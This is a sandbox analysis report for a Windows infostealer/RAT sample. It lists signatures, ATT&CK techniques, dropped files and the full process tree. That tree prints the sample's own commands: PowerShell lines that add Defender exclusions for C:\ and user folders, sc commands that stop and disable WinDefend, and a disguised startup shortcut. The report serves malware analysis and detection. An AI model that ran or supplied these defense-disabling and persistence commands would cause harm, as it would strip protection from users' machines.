Overview

overview

10

Static

static

3

2026-04-19...at.exe

windows10-2004-x64

10

2026-04-19...at.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/04/2026, 03:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
  • Size 8.8MB
  • Sample260419-ejyrfsht8s
  • SHA256 9358fb47c5046de2730e32373980078930bd04d361fa9635fff4ad15a670a7e6
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionevasionexecutionpersistencepyinstallerspywarestealertrojan

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Drops startup file 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 39 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Windows security modification 2 TTPs 8 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1720
    • C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-04-19_905a3be3b89953d4ded8cabec97f84f5_blankgrabber_glassworm_icedid_luca-stealer_njrat.exe"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3856
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4528
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4964
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2676
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4380
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4980
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2436
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3332
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:1856
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurityHealth.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe\" $Shortcut.WindowStyle = 7 $Shortcut.Save() "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4572
  • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
    C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Modifies Windows Defender Real-time Protection settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Windows security modification
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3968
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2128
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:240
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4132
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4916
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1016
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4764
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2828
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:988
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop WinDefend"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:1984
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc config WinDefend start= disabled"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2944
        • C:\Windows\system32\sc.exe
          sc config WinDefend start= disabled
          4⤵
          • Launches sc.exe
          PID:2804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command " $WScriptShell = New-Object -ComObject WScript.Shell $Shortcut = $WScriptShell.CreateShortcut(\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsSecurityHealth.lnk\") $Shortcut.TargetPath = \"C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe\" $Shortcut.WindowStyle = 7 $Shortcut.Save() "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3832

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        System Services

        2
        T1569

        Service Execution

        2
        T1569.002

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Defense Evasion

        Impair Defenses

        4
        T1562

        Disable or Modify Tools

        3
        T1562.001

        Modify Registry

        4
        T1112

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Exfiltration

        Impact

        Service Stop

        2
        T1489

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log
        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 4KB
        • SHA256 c04cf798dbb6500fd2ff8e91666486f3f026e6b122f67e23d04398c83ec0ae06
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 60f2bf2070814b1d05e91b680234fce01126a684ab88f915b77440b027a7c26d
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 106842d701d870d9c26603db1485d0545d9e1637d907dba4cbfc5a3f53b1ea71
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 5f6946ab5fb3a06c53e85cfa79c3d1327c74b71726cd52fc99f55b8a8a0303db
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 48fab079f87743db47f4a77913ded28a29f890e2c54d6155bab59e7d6e3077b7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d34536394a1252549c73111ba8d62aeb1f8089d59475ba04e9e1ed4c77624d86
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        StartupProfileData-NonInteractive
        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ea6fd7a0f40dac5bcef1a22b226b495363dbc2305aa357bea53eecf90019ee0b
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        _raw_aes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\Crypto\Cipher\_raw_aes.pyd
        • Size 34KB
        • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _raw_aesni.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\Crypto\Cipher\_raw_aesni.pyd
        • Size 15KB
        • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _cpuid_c.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\Crypto\Util\_cpuid_c.pyd
        • Size 10KB
        • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\VCRUNTIME140.dll
        • Size 117KB
        • SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140_1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\VCRUNTIME140_1.dll
        • Size 48KB
        • SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _bz2.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_bz2.pyd
        • Size 82KB
        • SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_ctypes.pyd
        • Size 128KB
        • SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _decimal.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_decimal.pyd
        • Size 271KB
        • SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _hashlib.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_hashlib.pyd
        • Size 62KB
        • SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _lzma.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_lzma.pyd
        • Size 154KB
        • SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _socket.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_socket.pyd
        • Size 81KB
        • SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ssl.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_ssl.pyd
        • Size 177KB
        • SHA256 63ae2fefbfbbbc6ea39cde0a622579d46ff55134bc8c1380289a2976b61f603e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _wmi.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\_wmi.pyd
        • Size 37KB
        • SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\base_library.zip
        • Size 1.3MB
        • SHA256 7cf3c5fd651828d742bd0718272f3e206b7454e3628cc8e0cd3ab9508b335d6c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libcrypto-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\libcrypto-3.dll
        • Size 5.0MB
        • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\libffi-8.dll
        • Size 38KB
        • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libssl-3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\libssl-3.dll
        • Size 774KB
        • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python313.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\python313.dll
        • Size 5.8MB
        • SHA256 0c0a66505093b6a4bb3475f716bd3d9552095776f6a124709c13b3f9552c7d99
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pywintypes313.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\pywin32_system32\pywintypes313.dll
        • Size 132KB
        • SHA256 9bb6dece38380abc747dce9ba8b0834a2bec469bc942dbcc8658e30ebdfb59a4
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        select.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\select.pyd
        • Size 30KB
        • SHA256 78e5994c29d8851f28b5b12d59d742d876683aea58eceea1fb895b2036cdcdeb
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        unicodedata.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\unicodedata.pyd
        • Size 693KB
        • SHA256 2693c7ee4fba55dc548f641c0cb94485d0e18596ffef16541bd43a5104c28b20
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        win32crypt.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI17202\win32\win32crypt.pyd
        • Size 121KB
        • SHA256 f07fbdcebda155ece29f64a4ca199db544bfa1f3472661f20b569d2b56926123
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_xktm3q5b.oxd.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xktm3q5b.oxd.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        WindowsSecurityHealth.exe
        • Path C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdgeCache\WindowsSecurityHealth.exe
        • Size 8.8MB
        • SHA256 9358fb47c5046de2730e32373980078930bd04d361fa9635fff4ad15a670a7e6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        memory/988-396-0x0000017D44710000-0x0000017D44722000-memory.dmp
        Download

        memory/988-397-0x0000017D5C7B0000-0x0000017D5C81F000-memory.dmp
        Download

        memory/1800-154-0x00000225AA4A0000-0x00000225AA50F000-memory.dmp
        Download

        memory/1800-153-0x0000022592200000-0x0000022592212000-memory.dmp
        Download

        memory/2128-318-0x000002432BCA0000-0x000002432BD53000-memory.dmp
        Download

        memory/2128-320-0x00000243133E0000-0x00000243133F2000-memory.dmp
        Download

        memory/2128-321-0x000002432B940000-0x000002432B9AF000-memory.dmp
        Download

        memory/2680-365-0x000001832E2F0000-0x000001832E302000-memory.dmp
        Download

        memory/2680-366-0x000001832E350000-0x000001832E3BF000-memory.dmp
        Download

        memory/2780-169-0x000001D423170000-0x000001D423182000-memory.dmp
        Download

        memory/2780-170-0x000001D43B870000-0x000001D43B8DF000-memory.dmp
        Download

        memory/3212-106-0x00007FF4BB800000-0x00007FF4BB810000-memory.dmp
        Download

        memory/3212-115-0x00000229E27E0000-0x00000229E27EA000-memory.dmp
        Download

        memory/3212-109-0x00000229E2630000-0x00000229E263A000-memory.dmp
        Download

        memory/3212-110-0x00000229E27B0000-0x00000229E27CC000-memory.dmp
        Download

        memory/3212-120-0x00000229E21C0000-0x00000229E222F000-memory.dmp
        Download

        memory/3212-111-0x00000229E2790000-0x00000229E279A000-memory.dmp
        Download

        memory/3212-91-0x00000229E2080000-0x00000229E2090000-memory.dmp
        Download

        memory/3212-119-0x00000229C82B0000-0x00000229C82C2000-memory.dmp
        Download

        memory/3212-98-0x00000229E2080000-0x00000229E2090000-memory.dmp
        Download

        memory/3212-99-0x00000229E2190000-0x00000229E21B2000-memory.dmp
        Download

        memory/3212-116-0x00000229E2080000-0x00000229E2090000-memory.dmp
        Download

        memory/3212-108-0x00000229E2470000-0x00000229E2523000-memory.dmp
        Download

        memory/3212-90-0x00000229E2080000-0x00000229E2090000-memory.dmp
        Download

        memory/3212-107-0x00000229E2450000-0x00000229E246C000-memory.dmp
        Download

        memory/3212-114-0x00000229E27D0000-0x00000229E27D6000-memory.dmp
        Download

        memory/3212-113-0x00000229E27A0000-0x00000229E27A8000-memory.dmp
        Download

        memory/3212-112-0x00000229E27F0000-0x00000229E280A000-memory.dmp
        Download

        memory/3828-398-0x000002F0E56C0000-0x000002F0E572F000-memory.dmp
        Download

        memory/3832-407-0x0000020EAA660000-0x0000020EAA672000-memory.dmp
        Download

        memory/3832-408-0x0000020EC2C30000-0x0000020EC2C9F000-memory.dmp
        Download

        memory/3856-230-0x000001B030880000-0x000001B0308EF000-memory.dmp
        Download

        memory/4132-350-0x000002CF6B8A0000-0x000002CF6B8B2000-memory.dmp
        Download

        memory/4132-351-0x000002CF6BAD0000-0x000002CF6BB3F000-memory.dmp
        Download

        memory/4148-201-0x000001CF35DC0000-0x000001CF35DD2000-memory.dmp
        Download

        memory/4148-202-0x000001CF35FE0000-0x000001CF3604F000-memory.dmp
        Download

        memory/4392-336-0x000001A4CA700000-0x000001A4CA76F000-memory.dmp
        Download

        memory/4392-335-0x000001A4B07A0000-0x000001A4B07B2000-memory.dmp
        Download

        memory/4572-216-0x00000208D4310000-0x00000208D437F000-memory.dmp
        Download

        memory/4572-215-0x00000208BBCB0000-0x00000208BBCC2000-memory.dmp
        Download

        memory/4764-380-0x0000018BF8D70000-0x0000018BF8D82000-memory.dmp
        Download

        memory/4764-381-0x0000018BF9510000-0x0000018BF957F000-memory.dmp
        Download

        memory/4964-138-0x0000021F2F950000-0x0000021F2F9BF000-memory.dmp
        Download

        memory/4964-135-0x0000021F2FC70000-0x0000021F2FD23000-memory.dmp
        Download

        memory/4964-137-0x0000021F17350000-0x0000021F17362000-memory.dmp
        Download

        memory/4984-186-0x0000027DC92E0000-0x0000027DC934F000-memory.dmp
        Download

        memory/4984-185-0x0000027DB1040000-0x0000027DB1052000-memory.dmp
        Download